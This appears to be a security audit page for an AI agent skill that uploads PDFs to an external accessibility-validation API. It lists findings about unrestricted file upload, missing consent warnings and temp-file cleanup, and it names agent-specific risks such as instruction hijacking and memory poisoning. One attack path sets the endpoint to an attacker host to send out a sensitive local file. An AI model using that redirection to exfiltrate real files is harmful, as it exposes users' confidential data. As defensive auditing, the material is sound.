Back to skill

Security audit

UA1 Validator Agent

Security checks for vulnerabilities and agentic risk

Overview

The skill is a coherent PDF accessibility validator, but it can upload local files to an external or environment-selected API without strong scoping or confirmation.

Install only if you are comfortable sending selected PDFs to the UA1 validation service or to any endpoint you explicitly configure. Avoid using it on confidential, regulated, or credential-bearing files unless you have reviewed the service and environment settings, especially UA1_API_BASE.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/validate_pdf.sh:9
Finding
Unrestricted Local File Upload to an Environment-Controlled Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/validate_pdf.sh`, lines 9-27 **Vulnerability Type**: Unrestricted file upload and insufficient destination validation **Risk Level**: Medium ### Vulnerable Code ```bash if [[ ! -f "$FILE_PATH" ]]; then echo "File not found: $FILE_PATH" >&2 exit 1 fi UA1_API_BASE="${UA1_API_BASE:-https://api.ua1.dev}" UA1_FORMAT="${UA1_FORMAT:-compact}" if [[ "$UA1_FORMAT" == "compact" ]]; then URL="$UA1_API_BASE/api/validate?format=compact" else URL="$UA1_API_BASE/api/validate" fi TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \ -X POST "$URL" \ -F "file=@${FILE_PATH}")" ``` ### Technical Analysis The script verifies only that the supplied path refers to an existing regular file. It does not verify that the input has a `.pdf` extension or begins with a valid PDF signature. Any readable regular file can therefore be submitted, including configuration files, credentials, private keys, or other sensitive local data. The upload destination is derived directly from the `UA1_API_BASE` environment variable without validating its scheme or host. A caller who controls the process environment can redirect uploads to an arbitrary HTTP or HTTPS server. Plain HTTP is also accepted, which can expose uploaded documents to interception or modification in transit. The file path itself is correctly quoted, so this finding is not a shell command-injection issue. The risk instead arises from the combination of unrestricted file selection and an unrestricted network destination. ### Attack Path 1. An attacker gains control over the environment or invocation parameters used by an automated workflow. 2. The attacker sets `UA1_API_BASE` to a server under their control, such as `https://attacker.example`. 3. The attacker supplies the path of a sensitive readable file instead of a PDF: ```bash UA1_API_BASE="https://attacker.example" \ b ...[truncated 807 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Require the input filename to use a `.pdf` extension, using a case-insensitive comparison where appropriate. 2. Verify that the file starts with the expected PDF magic bytes, such as `%PDF-`, before uploading it. 3. Consider rejecting symbolic links and resolving the canonical path if the script runs in a privileged or automated environment. 4. Restrict `UA1_API_BASE` to an explicit allowlist of trusted origins. 5. Parse and validate the URL, rejecting embedded credentials, unexpected ports, query manipulation, and non-HTTPS schemes. 6. Keep redirects disabled, or strictly constrain redirected destinations to the same trusted origin. 7. Document clearly that selected files are transferred to an external service and require appropriate authorization before uploading confidential documents. 8. If endpoint customization is required, use a separate explicit opt-in flag rather than implicitly trusting an inherited environment variable. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
scripts/validate_pdf.sh:22
Finding
Temporary Response Files Are Not Removed After Transport Failure<![CDATA[ ## Vulnerability Details **File Location**: `scripts/validate_pdf.sh`, lines 22-38 **Vulnerability Type**: Incomplete temporary-file cleanup **Risk Level**: Low ### Vulnerable Code ```bash TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \ -X POST "$URL" \ -F "file=@${FILE_PATH}")" if [[ "$HTTP_CODE" != "200" ]]; then echo "UA1 API error: HTTP $HTTP_CODE" >&2 cat "$TMP_BODY" >&2 rm -f "$TMP_BODY" "$TMP_HEADERS" exit 1 fi ``` The script also enables immediate termination near the beginning of the file: ```bash set -euo pipefail ``` ### Technical Analysis Temporary files are created with `mktemp`, but no exit trap is registered. Cleanup is performed only along normal control-flow paths after `curl` successfully returns an HTTP status. Because `set -e` is active, a nonzero `curl` exit status—such as a DNS failure, TLS error, connection reset, timeout, or local write error—causes the script to terminate while evaluating the command substitution. The later `rm` commands are then never reached. `mktemp` normally creates files with restrictive permissions, reducing direct cross-user exposure on correctly configured systems. Nevertheless, abandoned files may retain partial response bodies or HTTP headers and consume storage over repeated failures. ### Attack Path 1. The script creates temporary body and header files. 2. A network or TLS failure occurs while `curl` is running. An attacker with relevant network influence may be able to induce such a failure by refusing connections or interrupting the request. 3. `curl` returns a nonzero exit status. 4. Due to `set -e`, the shell exits immediately. 5. Neither temporary file is deleted because no `EXIT` trap exists. 6. Repeated failures leave additional residual files in the temporary directory. ### Impact Assessment The residual files may contain partial API response data or HTTP headers. The practical confidentiality ...[truncated 320 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Register cleanup immediately after creating the temporary files so it runs during normal completion, errors, and interruption: ```bash TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" cleanup() { rm -f -- "$TMP_BODY" "$TMP_HEADERS" } trap cleanup EXIT HUP INT TERM ``` Additional hardening measures include: 1. Handle `curl` failure explicitly instead of relying solely on `set -e`. 2. Keep temporary files in a trusted directory with restrictive permissions. 3. Set a restrictive `umask`, such as `umask 077`, before creating sensitive temporary files. 4. Avoid storing headers if they are not needed by the script. 5. Configure connection and total-operation timeouts to prevent stalled validation requests. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (8)

Lp3

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding
The skill instructs agents to run a shell script but declares no tool scope or allowed-tools restrictions. In agent environments, this increases the chance that a model invokes shell access more broadly than intended, enabling unintended command execution paths or unsafe use in contexts that expected a documentation-only skill.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
The skill tells agents to upload PDF files to a remote API but does not explicitly warn that document contents will leave the local environment. This is dangerous because PDFs may contain sensitive, regulated, or proprietary information, and an autonomous agent could transmit them externally without meaningful user awareness or consent.

External Transmission

Medium
Category
Data Exfiltration
Content
## Endpoints

- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`
Confidence
93% confidence
Finding
This endpoint definition introduces external network communication to a third-party service. Even though a health check may not upload the document itself, using an external service from an agent can still leak metadata such as network access patterns, environment usage, and service dependency details.

External Transmission

Medium
Category
Data Exfiltration
Content
## Endpoints

- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`
Confidence
99% confidence
Finding
The validate endpoint requires uploading the PDF file to an external API, creating a clear data exfiltration path for potentially confidential document contents. In an agentic workflow, this is especially risky because the skill presents the upload as a normal validation step without requiring explicit consent or trust review of the remote processor.

External Transmission

Medium
Category
Data Exfiltration
Content
- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

## Required contract
Confidence
99% confidence
Finding
The compact validation endpoint is another external file-upload path and carries the same confidentiality risk as the main validate endpoint. Its framing as the preferred deterministic mode may make agents more likely to use it by default, increasing the likelihood of silent transmission of sensitive PDFs to a remote service.

External Transmission

Medium
Category
Data Exfiltration
Content
- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

## Required contract
Confidence
78% confidence
Finding
The metrics endpoint is an external transmission path, though it is less severe than file-upload validation because it typically does not require sending the PDF itself. However, automatic access to third-party metrics can still leak operational metadata and creates unnecessary network exposure if not clearly disclosed.

External Transmission

Medium
Category
Data Exfiltration
Content
TMP_BODY="$(mktemp)"
TMP_HEADERS="$(mktemp)"

HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \
  -X POST "$URL" \
  -F "file=@${FILE_PATH}")"
Confidence
95% confidence
Finding
The curl POST sends the entire PDF to an external endpoint, which is a real external transmission rather than a hypothetical one. In the context of an agent skill, this is more dangerous because automation may process confidential files non-interactively, making silent transfer to a third-party API easy to miss and potentially noncompliant with privacy or data residency requirements.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
The script uploads the supplied PDF to a remote service using curl, but it does not provide any explicit warning, confirmation, or disclosure at runtime that document contents will leave the local environment. Because PDFs often contain sensitive or regulated data, this can cause unintended data exfiltration when used by an agent or in CI, especially if users assume validation is local.

Static analysis

No suspicious patterns detected.